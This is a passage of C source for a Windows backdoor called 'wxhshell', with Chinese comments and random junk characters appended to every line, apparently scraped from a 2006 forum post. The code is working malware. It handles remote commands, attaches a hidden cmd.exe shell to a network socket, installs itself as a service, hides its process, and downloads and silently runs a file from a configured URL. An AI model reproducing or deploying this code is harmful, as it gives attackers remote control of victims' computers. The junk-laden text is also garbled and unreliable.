      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qz!^< M  
    break; lDs C>L-F  
  } qtP*O#1q  
  // 安装 uYd_5 nw  
  case 'i': { g~OG~g@  
    if(Install()) uLN.b339  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4XeO^#  
    else 4U[X-AIY&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 S%`]M4;  
    break; % <h2^H\O  
    } V. o*`V  
  // 卸载 J!'IkC$>  
  case 'r': { >Q)S-4iR  
    if(Uninstall()) g G|4+' t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&~*;an7  
    else I*(7(>zgyv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gER(&L4[  
    break; >rFM8P(  
    } vE~<R  
  // 显示 wxhshell 所在路径 4 @9cO)m  
  case 'p': { Lf8{']3  
    char svExeFile[MAX_PATH]; &7c#i  
    strcpy(svExeFile,"\n\r"); tTJ$tx  
      strcat(svExeFile,ExeFile); 'RR,b*Ql  
        send(wsh,svExeFile,strlen(svExeFile),0); ?Y9VviC  
    break; B^x}=Z4  
    } Fk?KR  
  // 重启 HA0yX?f]  
  case 'b': { h:vI:V[/X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y!\q ', F  
    if(Boot(REBOOT)) qmnW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r \} O{ZO  
    else { _ ^^5  
    closesocket(wsh); 6V1 Z(K  
    ExitThread(0); }oii|=,#^  
    } C,{ Ekbg  
    break; )/{~&L U  
    } A{52T]9X  
  // 关机 9O:-q[K**  
  case 'd': { @ t8{pb;v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SN#N$] y5s  
    if(Boot(SHUTDOWN)) G<t _=j/r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'EphL7r   
    else { mpl^LF[  
    closesocket(wsh); `P;uPQDzZ3  
    ExitThread(0); lq27^K  
    } W1O m$S1  
    break; @h7 i;Ok  
    } j,N,WtE  
  // 获取shell I4zm{ 1g  
  case 's': { QFEc?sEe  
    CmdShell(wsh); v/3Vsd  
    closesocket(wsh); U[!wu]HMF  
    ExitThread(0); Zg >!5{T  
    break; g^:7mG6C  
  } Zor Q2>  
  // 退出 !(N,tZ  
  case 'x': { !]!9 $6n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4rNuAK`2  
    CloseIt(wsh); [xPO'@Y  
    break; mzTM&@  
    } 1ka58_^  
  // 离开 DZ5h<1  
  case 'q': { it=ir9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o31pF  
    closesocket(wsh); wpm $?X  
    WSACleanup(); <U""CAE  
    exit(1); pKk{Q0Rt  
    break; Dn;$4Dak(  
        } y Xi$w.gr  
  } 6;}FZ  
  } U6_GEBz~y  
kn6X I*  
  // 提示信息 <t.  w(?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RSf*[2  
} l' a<k"  
  } n UD;y}}n  
w;T?m,"  
  return; ~ponYc.Y  
} .BZ3>]F3<  
Uj~ :| ?Wz  
// shell模块句柄 Z`'&yG;U  
int CmdShell(SOCKET sock) XO4rrAYvW  
{ u[coWaPsZ  
STARTUPINFO si; ldWr-  
ZeroMemory(&si,sizeof(si)); .^uYr^( |[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xA"7a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^g n7DiIPH  
PROCESS_INFORMATION ProcessInfo; M'ZA(LVp  
char cmdline[]="cmd"; %ZZW p%uf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k+Ay^i}s.  
  return 0; +?bOGUik  
} VXu1Y xY  
>J@hqW  
// 自身启动模式 }9(:W</}  
int StartFromService(void) a(eUdGJ  
{ hjY)W;  
typedef struct  =u Ieur  
{ Pb@9<NXm'  
  DWORD ExitStatus; KEvT."t  
  DWORD PebBaseAddress; \g\,  
  DWORD AffinityMask; 8 @4)p.{5I  
  DWORD BasePriority; *'ex>4^  
  ULONG UniqueProcessId; 5TcirVO82  
  ULONG InheritedFromUniqueProcessId; +J%9%DqF  
}   PROCESS_BASIC_INFORMATION; Klk[ h  
Fu#mMn0c  
PROCNTQSIP NtQueryInformationProcess; $~2qEe.h  
ai(J%"D"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _#6ekl|%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y,C3E>}Dq  
wr;8o*~  
  HANDLE             hProcess; }\)O1  
  PROCESS_BASIC_INFORMATION pbi; ]!04L}hy|P  
i.*Utm`1"e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qUF}rl S=r  
  if(NULL == hInst ) return 0; =lqGt.x  
j`kw2(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X{b qG]j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uE{nnNZy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &5F@u IA  
K~Hp%.  
  if (!NtQueryInformationProcess) return 0; @-Js)zcl q  
m>@ *-*8k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O&u[^s/^  
  if(!hProcess) return 0; a).bk!G  
~T<o?98  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y%x2  
^3  '7  
  CloseHandle(hProcess); 4zM$I  
?Wm.'S'to  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cA{zyq26  
if(hProcess==NULL) return 0; L|[ 0&u!  
geRD2`3;  
HMODULE hMod; .I&]G  
char procName[255]; _4jRUsvjY  
unsigned long cbNeeded; |0$wRl+kN  
}^ j"@{~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L z'05j3!  
-I#1xJU  
  CloseHandle(hProcess); Q+UqLass  
lnoK.Vk9,  
if(strstr(procName,"services")) return 1; // 以服务启动 Ju"*>66  
ngoAFb  
  return 0; // 注册表启动 o {bwWk7v6  
} Q(Dp116  
gLef6q{}  
// 主模块 { f@k2^  
int StartWxhshell(LPSTR lpCmdLine) &\, ZtaB  
{ }+8w  
  SOCKET wsl; 8'B   
BOOL val=TRUE; %2)'dtPD~  
  int port=0; lC ^NhQi  
  struct sockaddr_in door; *?Sp9PixP  
jI(}CT`g  
  if(wscfg.ws_autoins) Install(); y84= Q  
)q48cQ  
port=atoi(lpCmdLine); ?lYi![.o  
b{o%`B*  
if(port<=0) port=wscfg.ws_port; ]"< ` ^  
\Q+<G-Kb.  
  WSADATA data; Gmi$Nl!~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oX9rpTi  
wv8WqYV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s innHQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \)pT+QxZ  
  door.sin_family = AF_INET; H1FSN6'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v<z%\`y  
  door.sin_port = htons(port); Dog Tj  
6R+m;'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $(ugnnJ*  
closesocket(wsl); Jn_;  cN  
return 1; *hp3w  
} C=6Vd  
[p+6HF  
  if(listen(wsl,2) == INVALID_SOCKET) { e!67Na0X(  
closesocket(wsl); 9 L{JU  
return 1; NyTv~8A`)  
} #Cda8)jl(  
  Wxhshell(wsl); n3t0Qc  
  WSACleanup(); csV.AN'obq  
?>V4pgGCE  
return 0; dM{xPpnx  
~97T0{E3  
} T _O|gU  
4$oX,Q`#  
// 以NT服务方式启动 8%s_~Yc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A3C#w J  
{ n 4:Yc@,  
DWORD   status = 0; Wv]NFHe#  
  DWORD   specificError = 0xfffffff; IG1+_-H:  
! `yg bI.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3rEBG0cf]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ugtb`d{ Sl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FbVdqO  
  serviceStatus.dwWin32ExitCode     = 0;  'mz _JM  
  serviceStatus.dwServiceSpecificExitCode = 0; 0?]*-wvp  
  serviceStatus.dwCheckPoint       = 0; 7ZbnG@s7  
  serviceStatus.dwWaitHint       = 0; > !thxG/_  
T=|oZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'G!w0yF  
  if (hServiceStatusHandle==0) return; \h DH81L  
n"'1.  
status = GetLastError(); Htseu`>_$  
  if (status!=NO_ERROR) 0i2ZgOJ  
{ DbdxHuKa>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !YlyUHD  
    serviceStatus.dwCheckPoint       = 0; jj,Y:  
    serviceStatus.dwWaitHint       = 0; FfnW  
    serviceStatus.dwWin32ExitCode     = status; 821@qr|`e  
    serviceStatus.dwServiceSpecificExitCode = specificError; x(nWyVB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >W= 0N (  
    return; wD-(3ZVd4  
  } aO9a G*9T  
@3/.W+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6@TGa%:G  
  serviceStatus.dwCheckPoint       = 0; $\xS~ w  
  serviceStatus.dwWaitHint       = 0; 1k2+eI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :?VM1!~ga  
} kETu@la}  
3[: |)i)  
// 处理NT服务事件,比如:启动、停止 iEG`+h'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fdIk{o  
{ A`|OPi)  
switch(fdwControl) ,4hQ#x  
{ ^[{\ZX  
case SERVICE_CONTROL_STOP: m"P"iK/Av(  
  serviceStatus.dwWin32ExitCode = 0; 5Uc!;Gd?b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rULrGoM  
  serviceStatus.dwCheckPoint   = 0; kDM\IyM<\  
  serviceStatus.dwWaitHint     = 0; v7+f@Z:N*  
  { `2S G{5o;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xyK_1n@b  
  } Re3vW re  
  return; 1/>#L6VAZ  
case SERVICE_CONTROL_PAUSE: ITa8*Myj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4@D 8{?$~Q  
  break; N-fGc?E  
case SERVICE_CONTROL_CONTINUE: \e%H5W x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \vVGfG?6  
  break; zmH8#  
case SERVICE_CONTROL_INTERROGATE: kK]JN  
  break; /xmUu0H$R  
}; >1[Hk0 <x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fa`/i v  
} ;Ub;AqY  
u%FG% j?C  
// 标准应用程序主函数 &h.E B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P8jXruZr  
{ \8%64ZL`  
zfDx c3e  
// 获取操作系统版本 J>(I"K%  
OsIsNt=GetOsVer(); <S'5`-&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EGYYSoBLU  
{FO>^~>l  
  // 从命令行安装 6$TE-l  
  if(strpbrk(lpCmdLine,"iI")) Install(); xWX1P%`  
jX5lwP Q|F  
  // 下载执行文件 0?3Ztdlb  
if(wscfg.ws_downexe) { >'4Bq*5>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %xE\IRlR  
  WinExec(wscfg.ws_filenam,SW_HIDE); )v&r^DR_  
} x35(i  
f!;4 -.p`  
if(!OsIsNt) { *Z"9QX  
// 如果时win9x,隐藏进程并且设置为注册表启动 W-9^Ncp  
HideProc(); 0;,4.hsh  
StartWxhshell(lpCmdLine); ZOGH.`  
} [m7^Euury  
else 8<}f:9/  
  if(StartFromService()) |7Z7_YWs  
  // 以服务方式启动 (J(JB}[X,  
  StartServiceCtrlDispatcher(DispatchTable); f(Q-W6  
else Sr1xG%;|/  
  // 普通方式启动 (;2J}XQvO~  
  StartWxhshell(lpCmdLine); LyM"  
hC@oyC(4  
return 0; L M  
}
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只看该作者 1 发表于: 2006-10-10
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